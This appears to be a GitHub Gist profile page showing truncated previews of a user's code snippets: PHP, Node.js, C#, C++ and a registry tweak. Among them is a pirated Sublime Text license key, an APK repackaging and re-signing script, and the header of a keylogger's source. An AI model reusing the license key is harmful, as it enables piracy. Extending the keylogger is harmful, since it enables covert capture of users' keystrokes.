Skip to content

Instantly share code, notes, and snippets.

<?php
//antes de trabalhar com essa classe, certifique-se de ativar a extensão gd do php
//fiz essa classe a fim de testar formas pra tratar imagem usando php
//porem existe bibliotecas bem elaboradas para esses fim..
// https://github.com/gumlet/php-image-resize
// http://image.intervention.io/
class Img
{
private function redimensionar($path, $fileName = "", $width, $height, $proportionDirection, $thumbnailPath)
{
@DerexScript
DerexScript / license.key
Created October 3, 2020 00:15
Sublime Text 3 Build 3207 & Build 3211
----- BEGIN LICENSE -----
Member J2TeaM
Single User License
EA7E-1011316
D7DA350E 1B8B0760 972F8B60 F3E64036
B9B4E234 F356F38F 0AD1E3B7 0E9C5FAD
FA0A2ABE 25F65BD8 D51458E5 3923CE80
87428428 79079A01 AA69F319 A1AF29A4
A684C2DC 0B1583D4 19CBD290 217618CD
5653E0A0 BACE3948 BB2EE45E 422D2C87
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\Background\shell\runas]
@="Abrir o prompt de comando(Admin) aqui"
"Extended"=""
"Icon"="cmd.exe"
"NeverDefault"=""
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\Directory\Background\shell\runas\command]
@DerexScript
DerexScript / httpRequestNodeJs.js
Created May 16, 2020 01:49
Node.js HTTP request
const https = require('https')
let getRequest = (url, path) => new Promise((resolve, reject)=>{
const options = {
hostname: url,
port: 443,
path: path,
method: 'GET',
headers: {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36'
@DerexScript
DerexScript / validarTelefone.php
Last active May 8, 2020 05:26
Validação com pattern html!
<?php
if(isset($_POST['telphone'])){
$re = '/\(?\d{2}\)?\s?\d{4,5}[-?|\s?]?\d{4}/m';
preg_match_all($re, $_POST['telphone'], $matches, PREG_SET_ORDER, 0);
if($matches != null){
echo "<h2 style=\"color: white;\">Parabéns Numero Validado Com Sucesso!</h2>";
echo "<h3>".$matches[0][0]."</h3>";
$novo_numero = str_replace("(", "", $matches[0][0]);
$novo_numero = str_replace(")", "", $novo_numero);
$novo_numero = str_replace("-", "", $novo_numero);
@DerexScript
DerexScript / getRequestHeader.cs
Created April 22, 2020 00:52
get request header dotnet 3.1 C #
//check if request header exists
bool isLanguage = this.Request.Headers.ContainsKey("Accept-Language1");
string lang = this.Request.Headers["Accept-Language"];
//string h = return string.Join("\n", this.Request.Headers.Select(x => $"{x.Key}: {x.Value}"));
//Middleware
public string tt([FromHeader(Name = "X-Forwarded-For")] string remoteIP) {
Console.WriteLine(remoteIP);
@DerexScript
DerexScript / curl_jsoncpp_example.cpp
Created March 30, 2020 10:16 — forked from connormanning/curl_jsoncpp_example.cpp
Curl HTTP GET and JsonCpp parsing - basic functionality
#include <cstdint>
#include <iostream>
#include <memory>
#include <string>
#include <curl/curl.h>
#include <json/json.h>
namespace
{
#include <windows.h>
#include <stdio.h>
#define INITIAL_BUFFER (MAX_PATH * 5)
char *listAllDirectories(char *path) {
WIN32_FIND_DATA data;
size_t bufferSize = INITIAL_BUFFER;
char *directories = (char*)calloc(1, bufferSize);
char *buffer = directories;
@DerexScript
DerexScript / recompile-and-run.sh
Created January 10, 2020 17:14 — forked from PuKoren/recompile-and-run.sh
Recompile APK + Sign with apktool
# You must first install apktool (https://github.com/iBotPeaches/Apktool) and android SDK
# and decompile apk using it
# apktool d -rf my-app.apk
# then generate a key for sign in:
# keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
rm signed-app.apk
apktool b -f -d com.myapp
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore com.myapp/dist/com.myapp.apk alias_name
zipalign -v 4 com.myapp/dist/com.myapp.apk signed-app.apk
//Keylogger SGDev
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>
using namespace std;
bool isCapsON = false;//Verificador de capslock